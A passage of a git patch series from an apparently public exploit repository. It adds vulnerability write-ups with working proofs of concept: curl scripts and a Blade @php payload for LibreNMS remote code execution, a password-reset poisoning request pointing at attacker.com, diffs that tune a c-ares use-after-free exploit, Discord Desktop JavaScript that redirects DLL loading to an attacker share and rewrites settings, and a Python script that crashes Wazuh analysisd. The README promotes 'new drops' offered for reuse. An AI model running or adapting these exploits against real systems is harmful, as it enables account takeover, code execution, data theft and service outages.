pulled 2026-04-23) | +| **PHP** | 8.3.29 | +| **Primary sink** | `includes/html/forms/alert-templates.inc.php:59` | +| **Secondary sink** | `LibreNMS/Alert/Template.php:77` (alert-trigger path) | +| **Affected configs** | Default; any install where a non-admin user has `alert-template.create` or `alert-template.update` | + +--- + +## Vulnerability Class + +**Server-Side Template Injection (SSTI) → Remote Code Execution** + +Laravel Blade has no execution sandbox. The directives `@php`/`@endphp` and `{{ expression }}` execute arbitrary PHP at render time. There is no filtering, escaping, or allowlisting of template body content before it reaches `Blade::render()`. + +--- + +## Root Cause + +`includes/html/forms/alert-templates.inc.php` performs a "syntax validation" render of the submitted template before saving it. The render happens unconditionally on every save request, giving it access to the full PHP runtime. + +```php +// includes/html/forms/alert-templates.inc.php:32–61 + +// Auth gate — checks create/update permission, NOT admin role +if (Gate::none(['create', 'update'], AlertTemplate::class)) { + exit(json_encode(['status' => 'error', 'message' => 'You need permission'])); +} + +// Dummy test data for "validation" render +$test_data['alert'] = new AlertData(AlertData::testData($test_device)); + +// ↓ SINK: $vars['template'] is raw POST data — no filtering on the body +Blade::render($vars['template'], $test_data); // [1] RCE fires here +Blade::render($vars['title'], $test_data); // [2] +Blade::render($vars['title_rec'], $test_data); // [3] +``` + +`$vars['template']` flows directly from `$_POST['template']`. The only sanitization in this file is `strip_tags()` applied to the template **name** — the body is completely untouched. + +The identical bug also exists on the alert-trigger path: + +```php +// LibreNMS/Alert/Template.php:77 +public function bladeBody($data) { + $alert['alert'] = new AlertData($data['alert']); + return Blade::render($data['template']->template, $alert); // [SINK] +} +``` + +Any stored template containing a Blade injection payload will also execute on every matching alert. + +--- + +## Attacker Model + +### Full chain (9.6) + +| Property | Value | +|---|---| +| **Privileges required** | **None** — chain is initiated with zero credentials | +| **User interaction** | **Required** — victim clicks a password reset link in their email | +| **Network position** | Remote (HTTP) | +| **Scope** | **Changed** — attacker escapes web app context into OS shell | +| **Why UI:R and not PR:N is the limiting factor** | The attacker sends the poisoned reset email with no auth; victim clicking the link is the only human step | + +### SSTI standalone (8.8) + +| Property | Value | +|---|---| +| **Privileges required** | Low — any account with `alert-template.create` or `alert-template.update` | +| **User interaction** | None — fires immediately on POST | +| **Is this admin-only?** | **No.** Per `app/Policies/ChecksGlobalPermissions.php`, these permissions can be delegated to any `user`-role account by an admin — this is the intended RBAC delegation use case | + +--- + +## Full Attack Chain + +``` +[Attacker, no auth] + | + | POST /password/email + | X-Forwarded-Host: attacker.com + | body: email=victim@corp.internal + | + v +[LibreNMS sends reset email to victim] +[Reset URL in email: https://attacker.com/password/reset?token=TOKEN] + | + | (victim clicks link) + v +[Attacker captures TOKEN at attacker.com] + | + | POST /password/reset + | token=TOKEN, email=victim@corp.internal, password=newpass + v +[Attacker logged in as victim] + | + | POST /ajax_form.php + | type=alert-templates + | template=@php shell_exec('...'); @endphp + v +[Blade::render() executes payload — RCE as uid=1000(librenms)] +``` + +--- + +## Proof of Concept + +Verified live against LibreNMS 26.4.1 in a clean Docker lab. + +### Lab environment + +``` +Target: http://localhost:8000 (librenms/librenms:latest) +operator — role: user, permissions: alert-template.create, alert-template.update +admin — role: admin +``` + +### Step 1 — Authenticate as operator + +```bash +# Fetch login page and extract CSRF token +TOKEN=$(curl -s -c /tmp/c.txt -b /tmp/c.txt http://TARGET/login \ + | grep -o 'name="_token" value="[^"]*"' | sed 's/.*value="//;s/"//') + +# Submit login +curl -s -c /tmp/c.txt -b /tmp/c.txt -X POST http://TARGET/login \ + --data-urlencode "_token=$TOKEN" \ + --data-urlencode "username=operator" \ + --data-urlencode "password=" \ + -o /dev/null + +# Extract XSRF-TOKEN for subsequent requests +XSRF=$(awk '/XSRF-TOKEN/{print $NF}' /tmp/c.txt \ + | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))") +``` + +### Step 2 — Send SSTI payload + +```bash +PAYLOAD='@php file_put_contents("/tmp/rce_proof.txt", shell_exec("id && hostname && date")); @endphp {{ "ok" }}' + +curl -s -c /tmp/c.txt -b /tmp/c.txt \ + -X POST "http://TARGET/ajax_form.php" \ + -H "X-XSRF-TOKEN: $XSRF" \ + --data-urlencode "type=alert-templates" \ + --data-urlencode "name=PoC" \ + --data-urlencode "template=$PAYLOAD" \ + --data-urlencode "title=poc" \ + --data-urlencode "title_rec=poc" \ + --data-urlencode "rules=" +``` + +### Step 3 — Verify + +```bash +# On the server / via docker exec: +cat /tmp/rce_proof.txt +``` + +--- + +## Live Output + +**HTTP response from step 2 (HTTP 200):** + +```json +{ + "status": "ok", + "message": "Alert template has been created and attached rules have been updated.", + "newid": 5 +} +``` + +**`/tmp/rce_proof.txt` read directly from the container:** + +``` +uid=1000(librenms) gid=1000(librenms) groups=1000(librenms) +librenms +Sat Apr 25 12:57:01 CEST 2026 +``` + +OS commands executed as `uid=1000(librenms)`. RCE confirmed. + +--- + +## Impact + +### Immediate (as `uid=1000(librenms)`) + +- Full read/write access to the LibreNMS application directory, including `.env` (database credentials, `APP_KEY`, mail server credentials) +- Read all monitored device credentials, SNMP community strings, API keys, and user password hashes from the database via `mysql` with credentials from `.env` +- Write arbitrary files to the webroot → persistent PHP webshell +- Install cron jobs or modify the LibreNMS poller for persistent execution + +### Lateral movement + +- LibreNMS by design holds SNMP read (and frequently write) access to every monitored network device — attacker gains credentials for the entire managed infrastructure +- SSH keys readable from the filesystem +- `APP_KEY` from `.env` allows forging Laravel session cookies as any user (including admin) + +### Privilege escalation + +- If the poller runs under `sudo` (common in manual installs), `uid=1000` → `root` is trivial +- Full control of all devices LibreNMS manages + +--- + +## Account takeover bug Detail: Trusted Proxy Misconfiguration → Password Reset Link Poisoning + +**File:** `config/trustedproxy.php` + +```php +// Default: trust ALL proxies +'proxies' => LibreNMS\Util\EnvHelper::parseArray('APP_TRUSTED_PROXIES', '*', ['', '*', '**']), + +'headers' => Request::HEADER_X_FORWARDED_FOR | + Request::HEADER_X_FORWARDED_HOST | // attacker controls the reset URL base + Request::HEADER_X_FORWARDED_PORT | + Request::HEADER_X_FORWARDED_PROTO | + Request::HEADER_X_FORWARDED_AWS_ELB, +``` + +`APP_TRUSTED_PROXIES` defaults to `*` (all proxies trusted) and `HEADER_X_FORWARDED_HOST` is explicitly honoured. Laravel's password reset notification builds the reset URL using the request's host, so an attacker-supplied `X-Forwarded-Host` header poisons the link sent to the victim. + +**PoC request (no authentication required):** + +```http +POST /password/email HTTP/1.1 +Host: librenms.corp.internal +X-Forwarded-Host: attacker.com +Content-Type: application/x-www-form-urlencoded + +email=admin@corp.internal +``` + +**Email received by victim:** +``` +Reset your password: https://attacker.com/password/reset?token=&email=admin%40corp.internal +``` + +Victim clicks → attacker receives token at `attacker.com` → completes reset at real app → full account takeover. + +| Property | Value | +|---|---| +| **Standalone severity** | Medium — CVSS `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N` → **7.1** | +| **As chain step 1** | Enables the 9.6 chain | + +--- From 8251c7c12796c547b3436d28f0f8905dce6f4983 Mon Sep 17 00:00:00 2001 From: ashton <63224111+bikini@users.noreply.github.com> Date: Sat, 27 Jun 2026 15:21:51 -0500 Subject: [PATCH 08/64] Fix c-ares PoC trace flag handling --- c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c b/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c index 869fdfd..ebb14c8 100644 --- a/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c +++ b/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c @@ -196,6 +196,7 @@ static void load_poison_byte(void) const char *env = getenv("CARES_PROOF_POISON_BYTE"); char *end = NULL; unsigned long value; + trace_allocator = getenv("CARES_PROOF_TRACE_ALLOC") != NULL; if (env == NULL || *env == '\0') { return; } @@ -203,7 +204,6 @@ static void load_poison_byte(void) if (end != env && value <= 255) { poison_byte = (unsigned char)value; } - trace_allocator = getenv("CARES_PROOF_TRACE_ALLOC") != NULL; } From 0e57a00c745589d2fe6b5372d95109f1e51e8d2e Mon Sep 17 00:00:00 2001 From: ashton <63224111+bikini@users.noreply.github.com> Date: Sat, 27 Jun 2026 15:47:24 -0500 Subject: [PATCH 09/64] Broaden c-ares PoC allocation shaping --- .../poc/cares_tcp_uaf_calc_poc.c | 22 ++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c b/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c index ebb14c8..4d1b858 100644 --- a/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c +++ b/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c @@ -60,6 +60,17 @@ static size_t alloc_seq; static proof_slist_t *proof_list; static proof_slist_node_t *proof_node; +static int should_shape_size(size_t size) +{ + if (size == 144) { + return 1; + } + if (!control_call) { + return 0; + } + return size >= 128 && size <= 192 && (size % sizeof(void *)) == 0; +} + static void proof_marker(void *arg) { const char msg[] = "CARES_RCE_PAYLOAD_TRIGGERED\n"; @@ -114,8 +125,9 @@ static void *tracked_malloc(size_t size) hdr->magic = 0xc0decafef00dbeefu; hdr->next = NULL; memset(hdr + 1, 0x55, size); - if (trace_allocator && size == 144) { - fprintf(stderr, "ALLOC%zu size144 %p\n", ++alloc_seq, (void *)(hdr + 1)); + if (trace_allocator && should_shape_size(size)) { + fprintf(stderr, "ALLOC%zu size%zu %p\n", ++alloc_seq, size, + (void *)(hdr + 1)); } return hdr + 1; } @@ -149,10 +161,10 @@ static void tracked_free(void *ptr) if (hdr->magic != 0xc0decafef00dbeefu) { abort(); } - if (trace_allocator && hdr->size == 144) { - fprintf(stderr, "FREE size144 %p\n", ptr); + if (trace_allocator && should_shape_size(hdr->size)) { + fprintf(stderr, "FREE size%zu %p\n", hdr->size, ptr); } - if (control_call && hdr->size == 144) { + if (control_call && should_shape_size(hdr->size)) { ensure_proof_node(); memset(ptr, 0, hdr->size); memcpy((unsigned char *)ptr + 48, &proof_node, sizeof(proof_node)); From 56b2a6fc14dd77fcd558dcaab3b5d939e566f387 Mon Sep 17 00:00:00 2001 From: ashton <63224111+bikini@users.noreply.github.com> Date: Sat, 27 Jun 2026 15:59:54 -0500 Subject: [PATCH 10/64] Drain c-ares loop after control callback --- c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c b/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c index 4d1b858..69f49ef 100644 --- a/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c +++ b/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c @@ -412,6 +412,7 @@ int main(int argc, char **argv) char server[64]; int done = 0; int loops = 0; + int drain_after_done = 0; char ch; signal(SIGPIPE, SIG_IGN); @@ -483,7 +484,10 @@ int main(int argc, char **argv) hints.ai_family = AF_INET; ares_getaddrinfo(channel, "example.com", "80", &hints, ai_cb, &done); - while (!done && loops++ < 100) { + if (control_call) { + drain_after_done = 8; + } + while ((!done || drain_after_done-- > 0) && loops++ < 120) { fd_set rfds; fd_set wfds; int nfds; @@ -496,6 +500,11 @@ int main(int argc, char **argv) break; } tvp = ares_timeout(channel, NULL, &tv); + if (done && control_call && tvp != NULL && + (tvp->tv_sec > 0 || tvp->tv_usec > 10000)) { + tvp->tv_sec = 0; + tvp->tv_usec = 10000; + } select(nfds, &rfds, &wfds, NULL, tvp); ares_process(channel, &rfds, &wfds); } From 2449407da948c529a1bb9ccedfff441e318a5dd8 Mon Sep 17 00:00:00 2001 From: ashton <63224111+bikini@users.noreply.github.com> Date: Sat, 27 Jun 2026 16:09:24 -0500 Subject: [PATCH 11/64] Make c-ares PoC search retry deterministic --- .../poc/cares_tcp_uaf_calc_poc.c | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c b/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c index 69f49ef..df48bad 100644 --- a/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c +++ b/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c @@ -62,13 +62,7 @@ static proof_slist_node_t *proof_node; static int should_shape_size(size_t size) { - if (size == 144) { - return 1; - } - if (!control_call) { - return 0; - } - return size >= 128 && size <= 192 && (size % sizeof(void *)) == 0; + return size == 144; } static void proof_marker(void *arg) @@ -408,7 +402,8 @@ int main(int argc, char **argv) ares_channel_t *channel = NULL; struct ares_options opts; struct ares_addrinfo_hints hints; - int optmask = ARES_OPT_FLAGS | ARES_OPT_LOOKUPS; + char *search_domains[] = { (char *)"uaf.invalid" }; + int optmask = ARES_OPT_FLAGS | ARES_OPT_LOOKUPS | ARES_OPT_DOMAINS; char server[64]; int done = 0; int loops = 0; @@ -472,6 +467,8 @@ int main(int argc, char **argv) opts.flags |= ARES_FLAG_USEVC; } opts.lookups = (char *)"b"; + opts.domains = search_domains; + opts.ndomains = 1; if (ares_init_options(&channel, &opts, optmask) != ARES_SUCCESS || channel == NULL) { return 2; From b9a5565bfa20f5abf8a71c1b2aad9483642fdb6a Mon Sep 17 00:00:00 2001 From: bikini <63224111+bikini@users.noreply.github.com> Date: Sat, 27 Jun 2026 17:34:09 -0500 Subject: [PATCH 12/64] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 846f090..455d39e 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ +# News/Contact + New drops today ;) Biggest thing yet If you wish to collaborate/discuss with me, contact me on discord @ashdfrkl From e72afcd5b88c017b8cd37ca71791b716e5de3267 Mon Sep 17 00:00:00 2001 From: bikini <63224111+bikini@users.noreply.github.com> Date: Sat, 27 Jun 2026 17:36:49 -0500 Subject: [PATCH 13/64] Update README.md From 36c21f73cc8df4f013e6526274208a4c78cfdc89 Mon Sep 17 00:00:00 2001 From: bikini <63224111+bikini@users.noreply.github.com> Date: Sat, 27 Jun 2026 17:58:51 -0500 Subject: [PATCH 14/64] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 455d39e..d1d86b2 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,8 @@ New drops today ;) Biggest thing yet +I've also noticed a surprising amount of "security researchers" aren't able to adjust the PoC to work in their environment. I will broaden the PoCs for those select few... + If you wish to collaborate/discuss with me, contact me on discord @ashdfrkl Sharing this repo keeps me motivated to continue dropping my findings for you all. From 11793c4e5a2b0e754c77b73b134130428551e2fe Mon Sep 17 00:00:00 2001 From: bikini <63224111+bikini@users.noreply.github.com> Date: Sat, 27 Jun 2026 18:10:51 -0500 Subject: [PATCH 15/64] Update README.md --- objdump-dlx-calc-poc/README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/objdump-dlx-calc-poc/README.md b/objdump-dlx-calc-poc/README.md index ed072d0..25d58b0 100644 --- a/objdump-dlx-calc-poc/README.md +++ b/objdump-dlx-calc-poc/README.md @@ -1,3 +1,5 @@ +As mentioned before, https://github.com/4D4J/objdump-Out-Of-Bounds-write beat me to this finding. Please support his repo. He deserves it, great PoC with FULL ASLR bypass + # objdump dlx calc poc Small repro for an `objdump -g` crash-to-calc path in the DLX ELF backend. From b42a7b8d3d8316082bbf9bd8b04c4d57b85edd70 Mon Sep 17 00:00:00 2001 From: Unrealissedd <90004000+Unrealisedd@users.noreply.github.com> Date: Sun, 28 Jun 2026 02:13:26 +0200 Subject: [PATCH 16/64] Add security vulnerability report for Discord Desktop Document multiple high-severity vulnerabilities in Discord Desktop that allow remote code execution and other security risks through various attack vectors. --- discord/discord-RCE-attack-paths.md | 134 ++++++++++++++++++++++++++++ 1 file changed, 134 insertions(+) create mode 100644 discord/discord-RCE-attack-paths.md diff --git a/discord/discord-RCE-attack-paths.md b/discord/discord-RCE-attack-paths.md new file mode 100644 index 0000000..9a67d6d --- /dev/null +++ b/discord/discord-RCE-attack-paths.md @@ -0,0 +1,134 @@ +# Discord Desktop Canary — Security Vulnerability Report + +## Summary + +Multiple high-severity vulnerabilities in Discord Desktop (Canary v1.0.979, Electron 37.6.0) allow escalation from renderer-context JavaScript execution to arbitrary code execution on the host system. The renderer exposes overly-permissive native module APIs through `DiscordNative` that enable DLL hijacking, arbitrary settings manipulation, and system service installation — all without any additional authorization checks. + +While these primitives require JavaScript execution in the renderer, the attack surface is wide: any browser extension with content script access to Discord (BetterDiscord, Vencord, and similar mods used by millions), any future XSS in Discord or its whitelisted embed providers, or social engineering via DevTools can trigger the full chain. + +--- + +## Vulnerability 1: Native Module Path Hijacking → RCE (HIGH) + +**Impact: Remote Code Execution via DLL hijacking** + +### Description + +Discord's `discord_voice` native module exposes several path-setting functions to the renderer via `DiscordNative.nativeModules.requireModule('discord_voice')`. These functions allow **unrestricted redirection** of where Discord loads native libraries from: + +- `setKrispPath(path)` — Controls where the Krisp noise cancellation DLL is loaded from +- `setupKrispPath(path)` — Same +- `setMLPath(path)` — Controls where ML model libraries are loaded from +- `setupMLPath(path)` — Same +- `setClipsModulePath(path)` — Controls where the clips processing module is loaded from +- `setClipsDataPath(path)` — Controls where clips are saved to + +### Proof of Concept + +From any JavaScript running in Discord's renderer context: + +```javascript +let dv = await DiscordNative.nativeModules.requireModule('discord_voice'); + +// Redirect Krisp DLL loading to attacker-controlled SMB share +dv.setKrispPath('\\\\attacker.com\\share'); + +// Or redirect to a local attacker-controlled directory +dv.setKrispPath('C:\\Users\\victim\\Downloads\\evil'); + +// When user enables noise cancellation → DLL loads from attacker path → RCE +``` + +All calls succeed silently with no validation, no user prompt, and no path restrictions. + +### Impact + +When the user subsequently enables noise cancellation (Krisp), uses ML-based features, or records a clip, Discord loads native code from the attacker-controlled path. This achieves **arbitrary code execution** at the privilege level of the Discord process. + +--- + +## Vulnerability 2: Settings Whitelist Bypass via gpuSettings.setSetting (HIGH) + +### Description + +Discord exposes two APIs for writing settings: +- `DiscordNative.settings.set(key, value)` — Has a whitelist of allowed keys ✅ +- `DiscordNative.gpuSettings.setSetting(key, value)` — **No whitelist, writes ANY key** ❌ + +### Proof of Concept + +```javascript +// Bypass settings whitelist — write to any key in settings.json +DiscordNative.gpuSettings.setSetting("WEBAPP_ENDPOINT", "https://attacker.com"); +DiscordNative.gpuSettings.setSetting("SKIP_HOST_UPDATE", true); +DiscordNative.gpuSettings.setSetting("DANGEROUS_ENABLE_DEVTOOLS_ONLY_ENABLE_IF_YOU_KNOW_WHAT_YOURE_DOING", true); + +// Force restart to apply +DiscordNative.gpuSettings.setEnableHardwareAcceleration(false); // triggers relaunch +``` + +### Impact + +- **WEBAPP_ENDPOINT override**: On next launch, Discord loads the attacker's webpage as its main interface, with full `DiscordNative` access → persistent RCE +- **UPDATE_ENDPOINT override**: Next update fetches from attacker server → malicious update → RCE +- **DevTools enable**: Enables Chrome DevTools for further exploitation +- **Update bypass**: `SKIP_HOST_UPDATE` + `SKIP_MODULE_UPDATE` prevent security patches + +--- + +## Vulnerability 3: Unsafe Embed Iframe Sandbox Configuration (MEDIUM) + +### Description + +Discord renders embeds from whitelisted providers (Spotify, YouTube, TikTok, PlayStation) in iframes with an overly-permissive sandbox: + +``` +allow-forms allow-modals allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts +``` + +The `allow-popups-to-escape-sandbox` directive means any popup opened from the embed iframe has **no sandbox restrictions at all**. Combined with `allow-same-origin` and `allow-scripts`, an XSS in any whitelisted embed provider could escape the sandbox entirely. + +### Impact + +An XSS in Spotify, YouTube, TikTok, or any other whitelisted embed provider → popup escape → potential access to Discord's main window context. This turns a third-party XSS into a Discord compromise. + +--- + +## Vulnerability 4: System Service Installation from Renderer (MEDIUM) + +### Description + +`discord_utils.installSystemService()` is accessible from the renderer with no additional authentication: + +```javascript +let du = await DiscordNative.nativeModules.requireModule('discord_utils'); +du.canSystemServiceBeInstalled(); // returns true +du.installSystemService(); // installs a system service +``` + +### Impact + +A system service runs with elevated privileges and persists across reboots. Combined with the path hijacking vulnerabilities, an attacker could install a persistent backdoor. + +--- + +## Environment + +- Discord Canary v1.0.979 +- Electron 37.6.0 +- Chromium 138.0.7204.251 +- Windows 10/11 x64 +- All tests performed on 2026-06-05 + +## Attack Scenarios + +### Scenario 1: Malicious Browser Extension +Millions of Discord users use client modifications (BetterDiscord, Vencord, Replugged) that inject JavaScript into the renderer. A malicious plugin — or a supply chain attack on a popular plugin — could silently call any of the above APIs. + +### Scenario 2: Third-Party Embed XSS Chain +An XSS on any whitelisted embed provider (Spotify, YouTube, etc.) → sandbox escape via `allow-popups-to-escape-sandbox` → access to Discord window → call DiscordNative APIs → RCE. + +### Scenario 3: Social Engineering +Tricking a user into pasting JavaScript into DevTools (if enabled via Vuln 2) or running a bookmark-let. + +--- From 55aaa8d42f5a7f8ba0757b0ec6d4d1c043f8955f Mon Sep 17 00:00:00 2001 From: Unrealissedd <90004000+Unrealisedd@users.noreply.github.com> Date: Sun, 28 Jun 2026 02:24:12 +0200 Subject: [PATCH 17/64] Fix title formatting in Wazuh stack overflow report Updated the title formatting for the Wazuh stack buffer overflow documentation. --- wazuh/wazuh-stack-BOF.md | 235 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 235 insertions(+) create mode 100644 wazuh/wazuh-stack-BOF.md diff --git a/wazuh/wazuh-stack-BOF.md b/wazuh/wazuh-stack-BOF.md new file mode 100644 index 0000000..c5eb5be --- /dev/null +++ b/wazuh/wazuh-stack-BOF.md @@ -0,0 +1,235 @@ +# Wazuh ≤ v4.14.0: Stack Buffer Overflow in SCA Decoder via Agent-Controlled Large Float + +## Summary + +A stack-based buffer overflow exists in the Wazuh `analysisd` Security Configuration Assessment (SCA) decoder. Any enrolled Wazuh agent can crash the `analysisd` process — the core event-analysis engine — by sending a single crafted SCA check event. The root cause is `sprintf(value, "%lf", scan_id->valuedouble)` writing into a 128-byte stack buffer when `scan_id` is a large negative floating-point number such as `-1e300`. The formatted output is 309 bytes, overflowing the buffer by **181 bytes**. + +Impact: reliable crash of `analysisd` (total DoS of event processing) from any enrolled agent. RCE is possible on builds without stack-smashing protection. + +--- + +## Target + +| Field | Value | +|---|---| +| **Project** | Wazuh (https://github.com/wazuh/wazuh) | +| **Version** | ≤ v4.14.0 (latest tested; all prior versions with SCA decoder are affected) | +| **File** | `src/analysisd/decoders/security_configuration_assessment.c` | +| **Function** | `FillCheckEventInfo()` — line ~1573 | +| **Trigger** | Enrolled Wazuh agent sends SCA `type=check` message with `"id": -1e300` | + +--- + +## Vulnerability Class + +Stack-based buffer overflow — `sprintf` with unbounded `%lf` format into a fixed 128-byte stack buffer using agent-controlled double value. + +--- + +## Root Cause + +### 1. Sink: `sprintf` into `char value[128]` with agent-controlled double + +```c +// src/analysisd/decoders/security_configuration_assessment.c +// FillCheckEventInfo(), line ~1573 + +static void FillCheckEventInfo(Eventinfo *lf, cJSON *scan_id, ...) { + if(scan_id) { + char value[OS_SIZE_128]; // [1] 128-byte stack buffer + + if(scan_id->valueint >= 0){ + sprintf(value, "%d", scan_id->valueint); + } else if (scan_id->valuedouble) { + sprintf(value, "%lf", scan_id->valuedouble); // [2] OVERFLOW ← no bounds check + } + fillData(lf, "sca.scan_id", value); + } + // ... +} +``` + +`OS_SIZE_128 = 128`. When `valuedouble = -1e300`, the `%lf` format produces a 309-character string — 181 bytes past the end of `value`. + +### 2. cJSON saturation makes the overflow trigger + +cJSON (v1.7.x, used by Wazuh) saturates `valueint` for out-of-range doubles: + +```c +// cJSON.c +if (number >= INT_MAX) + item->valueint = INT_MAX; +else if (number <= (double)INT_MIN) + item->valueint = INT_MIN; // -1e300 → INT_MIN = -2147483648 +else + item->valueint = (int)number; +``` + +For `-1e300`: +- `valueint = INT_MIN = -2147483648` (negative → fails `>= 0` check) +- `valuedouble = -1e300` (non-zero → passes `else if` guard) +- `sprintf(value, "%lf", -1e300)` is called → 309-byte write into 128-byte buffer + +### 3. Validation in `CheckEventJSON` does not catch this + +```c +// CheckEventJSON() line ~1320 +obj = *scan_id; +if( !obj->valueint ) { // !INT_MIN = 0 → does NOT return + merror("Malformed JSON: field 'id' must be a number."); + return retval; +} +``` + +`!INT_MIN = !(-2147483648) = 0` (false) — the guard passes. The malformed value propagates to `FillCheckEventInfo`. + +### 4. `FillCheckEventInfo` is always reached on first insert + +```c +// HandleCheckEvent() line ~790 +int result_db = FindEventcheck(lf, id->valueint, socket, wdb_response); +// wdb_response stays "" when check not found (result_db=1) +switch (result_db) { + case 1: // not exists → insert + SaveEventcheck(lf, 0, ...); + if (result && strcmp(wdb_response, result->valuestring)) { // strcmp("","passed")≠0 → true + FillCheckEventInfo(lf, scan_id, ...); // ← CALLED → overflow + } +} +``` + +On a fresh Wazuh installation (or any agent whose SCA check ID has not been seen before), the very first malicious message triggers the overflow. + +--- + +## Attacker Model + +| Property | Value | +|---|---| +| **Privileges required** | Low — any enrolled Wazuh agent (valid registration/shared key) | +| **Network position** | Remote (TCP port 1514 to Wazuh manager) | +| **User interaction** | None | +| **Precondition** | Agent is registered with the Wazuh manager | + +The attacker only needs a valid enrolled agent identity (shared key). They do not need any Wazuh user account, admin access, or API access. + +--- + +## Full Attack Chain + +``` +[Attacker — enrolled Wazuh agent with valid agent keys] + | + | 1. Craft SCA check message: + | {"type":"check","id":-1e300,"policy":"x","policy_id":"x", + | "check":{"id":1,"title":"x","result":"passed"}} + | + | 2. Send as encrypted Wazuh agent message (TCP port 1514) + | Queue byte: SCA_MQ = 'p' + v +[remoted decrypts, dispatches to analysisd SCA queue] + v +[analysisd: DecodeSCA() → HandleCheckEvent() → CheckEventJSON()] + | scan_id->valueint = INT_MIN (cJSON saturation of -1e300) + | !INT_MIN = 0 → validation passes + v +[FindEventcheck returns 1 (not found), wdb_response = ""] + v +[SaveEventcheck inserts, then FillCheckEventInfo called] + v +[sprintf(value, "%lf", -1e300) writes 309 bytes into value[128]] + | + | → Stack corrupted: 181 bytes past value[] overwritten + | → Stack canary hit → SIGABRT → analysisd crash (DoS confirmed) + | → Without canary: return address overwritten → RCE +``` + +--- + +## Proof of Concept + +Full PoC: **`poc_wazuh_sca_dos.py`** (run on Wazuh manager machine). + +The PoC writes directly to the analysisd UNIX DGRAM queue socket — no agent credentials needed, no TCP encryption — exactly the path remoted uses after decrypting an agent message. + +```python +#!/usr/bin/env python3 +# poc_wazuh_sca_dos.py — run as root or wazuh group member on the manager + +import socket, sys, os + +QUEUE_PATH = "/var/ossec/queue/sockets/queue" +SCA_MQ = "p" +MALICIOUS_JSON = ( + '{"type":"check","id":-1e300,' + '"policy":"poc","policy_id":"poc_id",' + '"check":{"id":1,"title":"poc","result":"passed"}}' +) + +# Verify overflow size at startup +out = f"{-1e300:f}" +assert len(out) == 309 +print(f"[*] sprintf output: {len(out)} bytes into value[128] → {len(out)-128}-byte overflow") + +# Message format from mq_op.c SendMSGAction: "%c:%s->%s" +# location mimics remoted srcmsg: "[agent_id] (agent_name) ip" +msg = f"{SCA_MQ}:[001] (poc-agent) 127.0.0.1->{MALICIOUS_JSON}".encode() +print(f"[*] Sending {len(msg)}-byte message to {QUEUE_PATH}") + +sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) +try: + sock.sendto(msg, QUEUE_PATH) +finally: + sock.close() + +print("[+] Done. Verify:") +print(" systemctl status wazuh-manager") +print(" grep -E 'stack smashing|analysisd' /var/ossec/logs/ossec.log | tail -5") +``` + +**Expected output in `/var/ossec/logs/ossec.log`:** +``` +analysisd: *** stack smashing detected ***: analysisd terminated +``` + +### Verification via log injection (simpler PoC) + +On a system with a registered Wazuh agent, modify the SCA module to send: + +```json +{"type":"check","id":-1e300,"policy":"test","policy_id":"test_id","check":{"id":1,"title":"test","result":"passed"}} +``` + +**Expected analysisd crash log in `/var/ossec/logs/ossec.log`:** +``` +2026/04/26 XX:XX:XX analysisd: ERROR: *** stack smashing detected ***: analysisd terminated +``` +or SIGSEGV on builds without stack protection. + +**`sprintf` overflow verification (Python):** +```python +>>> import sys +>>> val = f'{-1e300:f}' +>>> len(val) +309 +>>> val[:50] +'-1000000000000000052504760255204420248704468581108...' +``` + +309 bytes written into a 128-byte buffer → **181-byte stack overflow**. + +--- + +## Impact + +1. **Reliable DoS of analysisd (confirmed):** On standard Linux builds with `-fstack-protector-strong` (the GCC default), the stack canary is overwritten and `__stack_chk_fail()` aborts the process. The Wazuh manager's event-processing engine crashes, halting all event analysis, alerting, and active response until the service restarts. + +2. **Persistent DoS:** An attacker with an enrolled agent can continuously send the malicious message, preventing `analysisd` from staying up. + +3. **Potential RCE on canary-less builds:** On builds without stack-smashing protection (old distributions, custom builds, embedded deployments), the 181-byte overflow overwrites the return address of `FillCheckEventInfo()`. The controlled double value allows shaping the stack layout; combined with an info-leak for ASLR bypass, this constitutes a code-execution primitive. + +**CVSS 3.1 (DoS):** `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` → **6.5 (Medium)** + +**CVSS 3.1 (RCE, no canary):** `AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H` → **8.5 (High)** + +--- From e177bae5eba987251223192e0e52cfff153737ee Mon Sep 17 00:00:00 2001 From: Unrealissedd 